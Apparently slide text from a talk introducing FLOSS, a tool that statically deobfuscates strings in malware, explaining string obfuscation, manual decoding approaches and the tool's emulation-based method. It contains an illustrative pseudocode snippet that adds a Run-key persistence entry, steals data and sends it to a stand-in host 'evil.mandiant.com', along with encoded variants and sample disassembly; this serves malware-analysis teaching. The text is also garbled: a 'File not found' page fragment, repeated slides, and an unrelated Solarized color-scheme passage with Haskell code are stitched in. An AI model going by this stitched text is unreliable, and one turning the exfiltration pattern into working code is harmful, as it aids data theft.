Automatically Extracting Obfuscated Strings from Malware
File not found
The file you are looking for is not in our database.

Take me back to the main page  Try another search
• PE file format
  • Imports
  • Exports
  • Section metadata

• strings.exe
• PE file format
  • Imports
  • Exports
  • Section metadata

• `strings.exe`
reverse engineer

most everyone else
Introducing FLOSS

```
$ floss a5ca7e7281d8b8a570a529895106b1fa
/index.html
http://
POST
GET
User-Agent: FJUR (compatible; MSIE 6.0; Win32)
HOST:
Software\Microsoft\Windows\CurrentVersion\Run
%s\%s.txt
CONNECT %s:%d HTTP/1.1
SetFileAttributesA
#456234
```
Willi Ballenthin
@williballenthin

MIA:
Moritz Raabe
@m_r_tz
C:\> upx.exe malware.exe -o svchost.exe

• “packing” protects a program’s code from casual observation
  • Encrypted, compressed, and/or obfuscated
  • But logic remains unchanged
totally unobfuscated
low detection
trivial to triage

hardcore packed
60/60 detection
difficult to reverse engineer
totally unobfuscated
totally unobfuscated
low detection
trivial to triage

harcore packed
60/60 detection
difficult to reverse engineer

string obfuscation
low detection
intermediate analysis req’d
program malware

[...]

set_reg_key('Software\Microsoft\Windows\CurrentVersion\Run',
            'C:\dl\find.exe')

data = steal_data()

send('evil.mandiant.com', data)

[...]
C:\> strings.exe malware.exe

This program cannot be run in DOS mode.

[...]
Software\Microsoft\Windows\CurrentVersion\Run
C:\dl\find.exe
evil.mandiant.com
[...]
program malware

encoded_reg_key = 'FzsabtgpIX|vgzfzsaIB|{qzbfIVtggp{aCpgf'
encoded_path = 'Yurfdrislfpkzk'
encoded_domain = 'pc|y;s|gpplp;vzx'

set_registry(decrypt(encoded_reg_key)),
    decrypt(encoded_path))

data = steal_data()

send(decrypt(encoded_domain), data)

[...]
C:\> strings.exe malware.exe

This program cannot be run in DOS mode.

[...]
FzsabtgpIX|vgzfzsaIB|{qzbfIVtgpp{aCpgf
Yurfdrislfpkzk
pc|y;s|gpplp;vzx
[...]
lea    edx, [esp+1FD0h+var_1C8C]
push   edx    ; void *
push   offset aDhsnqnqnsQwITbu ; "Dhsnqnqns~'QWI'Tbuqndb"
call   sub_401000
lea    eax, [esp+1FD8h+var_1C28]
push   eax    ; void *
push   offset aIhusbkDqdTbuqn ; "Ihusbk'DQD'Tbuqndb"
call   sub_401000
lea    ecx, [esp+1FE0h+var_1BC4]
push   ecx    ; void *
push   offset aIbstdubbiUbjhs ; "Ibstdubbi*Ubjhsb'Tbdruns~'Dknbis"
call   sub_401000
Debug the program until its termination, dump strings from memory.

• Pros:
  • Its very easy and fast

• Cons:
  • Doesn’t work for dynamically allocated or carefully re-obfuscated strings
  • Doesn’t work for strings which don’t get accessed during execution
    • Like stackstrings
Identify the decoding routine in IDA, then debug every code path and dump strings from memory

• **Pros:**
  • Most correct – reuses the malware’s implementation of the decoder

• **Cons:**
  • It can be difficult to initialize some decoding routines
  • Forcing code down the code path you want, repeatedly, is annoying
  • Compilers can inline decoding routines
Identify the decoding routine in IDA and port it to Python

• **Pros:**
  • Most flexible technique to extract all strings from a binary

• **Cons:**
  • Porting *any* code in *any* language is tedious and error prone
  • Extraction of obfuscated data can be tricky
  • Repeat for every new sample
FireEye Labs Obfuscated String Solver
• FLOSS automatically deobfuscates many strings in malware.
  • It is extremely easy to use.
  • It applies advanced analysis techniques so you don’t have to.
  • It works against a large corpus of malware and obfuscation techniques.
• FLOSS automatically deobfuscates many strings in malware.
  • It is extremely easy to use.
  • It applies advanced analysis techniques so you don’t have to.
  • It works against a large corpus of malware and obfuscation techniques.
• FLOSS combines and automates the best reverse engineering techniques.
• Uses only static analysis techniques.
  • Never runs original binary.
  • No need for sandboxing.
  • There’s minimal chance of exploitation.
• Code flow analysis and heuristics identify decoding routines.
• x86 emulator discovers effects of decoders.
so, how does it work?
1. **Analyze control flow** of malware to identify functions, basic blocks, etc.
2. Use heuristics to **find potential decoding routines**
3. **Extract arguments** passed to decoding routines
4. **Emulate decoder functions** using extracted arguments
5. **Diff memory state** from before and after decoder emulation
6. **Extract human-readable strings** from memory state difference
1. Analyze control flow of malware to identify functions, basic blocks, etc.
2. Use heuristics to find potential decoding routines
3. Extract arguments passed to decoding routines
4. Emulate decoder functions using extracted arguments
5. Diff memory state from before and after decoder emulation
6. Extract human-readable strings from memory state difference
1. **Analyze control flow** of malware to identify functions, basic blocks, etc.

FLOSS uses vivisect to extract functions, cross references, code, and data.
- vivisect is like a pure Python, open-source IDA Pro
- Powers many FLARE tools, public and private
- Get it here: [https://github.com/vivisect/vivisect](https://github.com/vivisect/vivisect)

“Fairly un-documented static analysis / emulation / symbolik analysis framework for PE/Elf/Mach-O/Blob binary formats on various architectures.”
1. Analyze control flow of malware to identify functions, basic blocks, etc.
2. Use heuristics to **find potential decoding routines**
3. Extract arguments passed to decoding routines
4. Emulate decoder functions using extracted arguments
5. Diff memory state from before and after decoder emulation
6. Extract human-readable strings from memory state difference
2. Use heuristics to **find potential decoding routines**

   Given a function, a heuristic says:

   “My confidence that this function is a decoding routine is ...”

Most effective heuristics to date:

- Function contains tight loop
- Non-zeroing XOR operation
- Many code cross-references to function
1. Analyze control flow of malware to identify functions, basic blocks, etc.
2. Use heuristics to find potential decoding routines
3. **Extract arguments** passed to decoding routines
4. Emulate decoder functions using extracted arguments
5. Diff memory state from before and after decoder emulation
6. Extract human-readable strings from memory state difference
3. **Extract arguments** passed to decoding routines
   a) Brute force **emulate all code paths** among basic blocks and functions
   b) Snapshot emulator state (registers, memory) at appropriate points
• Emulator: a simulator of hardware
• FLOSS uses **vivisect** to emulate x86 instructions.
  • vivisect has a CPU and memory emulator written in pure Python.
• *Not* emulating the full-system, just some instructions.
  • FLOSS initializes the emulator CPU and memory like the Windows loader
• Allows us to see the effect of some instructions on CPU state and memory.
Emulator

\[
\text{setRegister}(eax, 0x2) \\
\text{setRegister}(ebx, 0x3) \\
\text{emulate(“add eax, ebx”)} \\
\text{getRegister}(eax)
\]

\[eax \rightarrow 0x5\]
• FLOSS emulates *all* code paths in the executable to find arguments.
  • Single-pass, depth-first, brute-force emulation.
  • Collect arguments at each call to a known decoder function.
• Emulate every function, top to bottom:
  • At each branch, take *both* paths:
    • ‘*snapshot*’ the emulator state before the jump
    • ‘*revert*’ to snapshot to try both paths
  • Only emulate each instruction one time, max
3. **Extract arguments** passed to decoding routines
   a) Brute force emulate all code paths among basic blocks and functions
   b) **Snapshot emulator state** (registers, memory) at appropriate points
• Trick: don’t obsess over calling conventions; just snapshot CPU & memory.

• Just before **call decoder**, save all memory and registers.
  • We call this the “function call context”.
  • This is like taking a snapshot in VMWare Workstation.

• FLOSS “reverts” to the snapshot when it performs final emulation.
  • Arguments are probably on top of stack and/or in registers.
  • We don’t even have to know the details!
1. Analyze control flow of malware to identify functions, basic blocks, etc.
2. Use heuristics to find potential decoding routines
3. Extract arguments passed to decoding routines
4. **Emulate decoder functions** using extracted arguments
5. Diff memory state from before and after decoder emulation
6. Extract human-readable strings from memory state difference
1. Analyze control flow of malware to identify functions, basic blocks, etc.
2. Use heuristics to find potential decoding routines
3. Extract arguments passed to decoding routines
4. Emulate decoder functions using extracted arguments
5. **Diff memory state** from before and after decoder emulation
6. **Extract human-readable strings** from memory state difference
• FLOSS performs binary diff of emulator memory segments
  • Primary: pre-emulation emulator snapshot
  • Secondary: post-emulation emulator snapshot
  • Result: list of byte sequences with differing content

• For each differing byte sequence, use traditional `strings.exe` algorithm to extract human readable strings (ASCII and UTF-16LE)
• FLOSS automatically deobfuscates strings from malware binaries.
  • Extracts obfuscated strings, stackstrings, and static strings.
• Handles a lot of tedious work, so you don’t have to.
• Written in pure Python, but distributed as a standalone executable.
  • And it works like the strings.exe that you’re already used to.
• 80% solution that requires very little investment and training.
  • But its easily hackable, and usually trivial to fix for unsupported samples.
2. Both sides of the force

```haskell
module XMonad.Layout (\_,
  Full\_,
  Title\_,
  Mirror\_,
  Resize\_,
  IMaster\_,
  Choose\_,
  ChangeLayout\_,
  mirrorRect\_,
  splitHorizontally\_,
  splitHorizontallyBy\_,
  splitVertically\_,
  splitVerticallyBy\_,
  title

import XMonad.Core
import Graphics.X11 (Rectangle\_,)
import qualified XMonad.StackSet as W
import Control.Arrow (***, second)
import Control.Monad
```

I often switch between dark and light modes when editing text and code. Solarized retains the same selective contrast relationships and overall feel when switching between the light and dark background modes. A lot of thought, planning and testing has gone into making both modes feel like part of a unified colorscheme.

3. 16/5 palette modes

![Color modes](image)

Solarized works as a sixteen color palette for compatibility with common terminal based applications / emulators. In addition, it has been carefully designed to scale down to a variety of five color palettes (four base monochromes plus one accent color) for use in design work such as web design. In every case it retains a strong personality but doesn’t overwhelm.

4. Precision, symmetry

![Precision scale](image)